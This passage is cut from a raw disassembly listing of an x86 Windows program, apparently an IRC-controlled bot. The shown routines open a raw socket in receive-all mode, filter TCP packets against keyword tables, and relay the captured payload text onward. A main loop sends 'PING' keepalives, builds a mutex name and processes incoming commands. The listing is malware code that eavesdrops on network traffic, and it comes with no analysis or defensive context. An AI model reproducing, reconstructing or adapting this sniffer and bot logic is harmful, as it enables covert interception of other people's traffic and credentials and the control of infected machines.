CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7B4 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D810 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D884 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D8C8 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call dword_417218 mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call dword_417260 lea eax, [ebp+var_1254] push eax call dword_41723C mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call dword_417230 push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call dword_417208 cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call dword_417230 push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call dword_41725C cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call dword_417230 push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41DA94 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call dword_417244 mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call dword_417248 mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call dword_41721C push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call dword_41721C push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call dword_417238 movzx eax, ax push eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41DA60 lea eax, [ebp+var_17A8] push eax call sub_416B5E add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call dword_417230 push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; sub_415F69+BDj ... pop edi leave retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DF10 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41DAC8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 add esp, 0Ch push [ebp+var_4] call sub_416B76 pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 add esp, 0Ch push [ebp+var_4] call sub_416B82 pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170AC test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp-18h], esp push 2 call dword_4170F4 and dword ptr [ebp-4], 0 push dword_41DB0C push dword_41DB08 push 3B7h push dword_41DB04 push 0 push dword_41DB00 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_416B5E add esp, 20h and dword ptr [ebp-1128h], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: .packed:loc_4168BAj mov eax, [ebp-1128h] inc eax mov [ebp-1128h], eax loc_416875: ; CODE XREF: .packed:00416866j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: .packed:0041687Cj push 3E8h call dword_41709C lea eax, [ebp-115Ch] push eax push 0 push 0 call dword_4170F8 mov [ebp-12F0h], eax cmp dword ptr [ebp-12F0h], 0 jz short loc_4168BA call dword_417064 test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: .packed:004168ACj ; .packed:004168B6j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: .packed:004168B8j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DB00 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DB00 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DB00 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41ED10, eax call sub_410422 mov dword_41ED14, eax call sub_410422 mov dword_41ED18, eax call sub_410422 mov dword_41ED1C, eax push 104h lea eax, [ebp-1120h] push eax push 0 call dword_41708C push eax call dword_417090 test eax, eax jnz short loc_416961 push offset byte_41DF10 push offset dword_41EC0C call sub_416B3A ; strcpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: .packed:00416949j lea eax, [ebp-1120h] push eax call sub_416B40 pop ecx mov [ebp-12F4h], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: .packed:loc_4169DFj mov eax, [ebp-12F4h] dec eax mov [ebp-12F4h], eax loc_416983: ; CODE XREF: .packed:00416974j cmp dword ptr [ebp-12F4h], 0 jnz short loc_41699F push offset byte_41DF10 push offset dword_41EC0C call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: .packed:0041698Aj mov eax, [ebp-12F4h] movsx eax, byte ptr [ebp+eax-1121h] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp-12F4h] lea eax, [ebp+eax-1120h] push eax push offset dword_41EC0C call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41EC0C push offset dword_41ED20 call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: .packed:004169B0j jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: .packed:0041695Cj ; .packed:0041699Dj ... call sub_406E8E lea eax, [ebp-12ECh] push eax push 202h call dword_417264 loc_4169F8: ; CODE XREF: .packed:00416A43j ; .packed:00416AA7j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and dword ptr [ebp-101Ch], 0 loc_416A19: ; CODE XREF: .packed:00416AE2j mov dword ptr [ebp-4], 1 loc_416A20: ; CODE XREF: .packed:loc_416A6Fj ; .packed:00416AC0j push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp dword ptr [ebp-101Ch], 19h jnz short loc_416A45 and dword ptr [ebp-4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: .packed:00416A3Dj cmp dword ptr [ebp-101Ch], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: .packed:00416A4Cj mov eax, [ebp-101Ch] inc eax mov [ebp-101Ch], eax loc_416A6F: ; CODE XREF: .packed:00416A60j jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: .packed:00416A34j push 1000h lea eax, [ebp-1018h] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: .packed:00416A98j and dword ptr [ebp-4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: .packed:00416AA1j and dword ptr [ebp-101Ch], 0 lea eax, [ebp-1018h] push eax call sub_40E943 pop ecx jmp loc_416A20 ; --------------------------------------------------------------------------- loc_416AC5: ; DATA XREF: .packed:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_416ADB: ; DATA XREF: .packed:004172ACo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp dword_41DF18, 0 jz short loc_416B1E push offset dword_41DE3C push offset dword_41DB90 call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: .packed:00416B0Bj call dword_417254 push 0 call sub_416BFC mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; 